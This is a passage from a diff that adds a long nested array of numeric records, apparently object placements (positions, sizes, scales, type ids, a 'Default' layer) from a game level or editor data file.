+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6908,
+ 306,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3308,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7300,
+ 528,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3309,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7206,
+ 621,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3310,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7114,
+ 621,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3311,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7206,
+ 716,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3312,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7114,
+ 716,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3313,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7206,
+ 812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3314,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7114,
+ 812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3315,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7206,
+ 907,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3316,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7114,
+ 907,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3317,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7298,
+ 717,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3318,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7390,
+ 717,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3319,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7482,
+ 717,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3320,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7574,
+ 717,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3321,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7481,
+ 526,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3322,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7573,
+ 526,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3323,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7487,
+ 297,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3324,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7576,
+ 629,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3325,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7437,
+ 723,
+ 0,
+ 369.3859558105469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3326,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7298,
+ 812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3327,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7391,
+ 812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3328,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7482,
+ 812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3329,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7574,
+ 812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3330,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7298,
+ 907,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3331,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7390,
+ 907,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3332,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7482,
+ 907,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3333,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7574,
+ 907,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3334,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7783,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3335,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7875,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3336,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7967,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3337,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7669,
+ 697,
+ 0,
+ 200.2014465332031,
+ 87.62319946289062,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3338,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7484,
+ 443,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3339,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7483,
+ 443,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3340,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8059,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3341,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8075,
+ 422,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3345,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7973,
+ 570,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3346,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8152,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3347,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8244,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3348,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8336,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3349,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8428,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3350,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8521,
+ 652,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3351,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7580,
+ 434,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3352,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8375,
+ 567,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3353,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7391,
+ 200,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3354,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8153,
+ 658,
+ 0,
+ 828,
+ 96,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3356,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8830,
+ 608,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3357,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10353,
+ 333,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3358,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10747,
+ 663,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3366,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10882,
+ 656,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3367,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10531,
+ 162,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3368,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10718,
+ 163,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3369,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10625,
+ 206,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3372,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10227,
+ 189,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3373,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12067,
+ 563,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3374,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11005,
+ 625,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3375,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9840,
+ 469,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3376,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10034,
+ 469,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3377,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10165,
+ 163,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3378,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9501,
+ 450,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3379,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8829,
+ 617,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3380,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8840,
+ 619,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3381,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9198,
+ 679,
+ 0,
+ 382.4701232910156,
+ 201.9481506347656,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3382,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9576,
+ 679,
+ 0,
+ 382.4701232910156,
+ 201.9481506347656,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3383,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9177,
+ 586,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9533,
+ 698,
+ 0,
+ 890,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 3385,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8611,
+ 653,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3398,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8703,
+ 653,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3399,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8795,
+ 653,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3400,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8795,
+ 749,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3401,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8703,
+ 749,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3402,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8611,
+ 749,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3403,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8887,
+ 653,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3407,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8887,
+ 749,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3408,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8979,
+ 653,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3409,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8979,
+ 749,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3410,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9071,
+ 653,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3411,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9071,
+ 749,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3412,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9500,
+ 488,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 3416,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8795,
+ 844,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3417,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
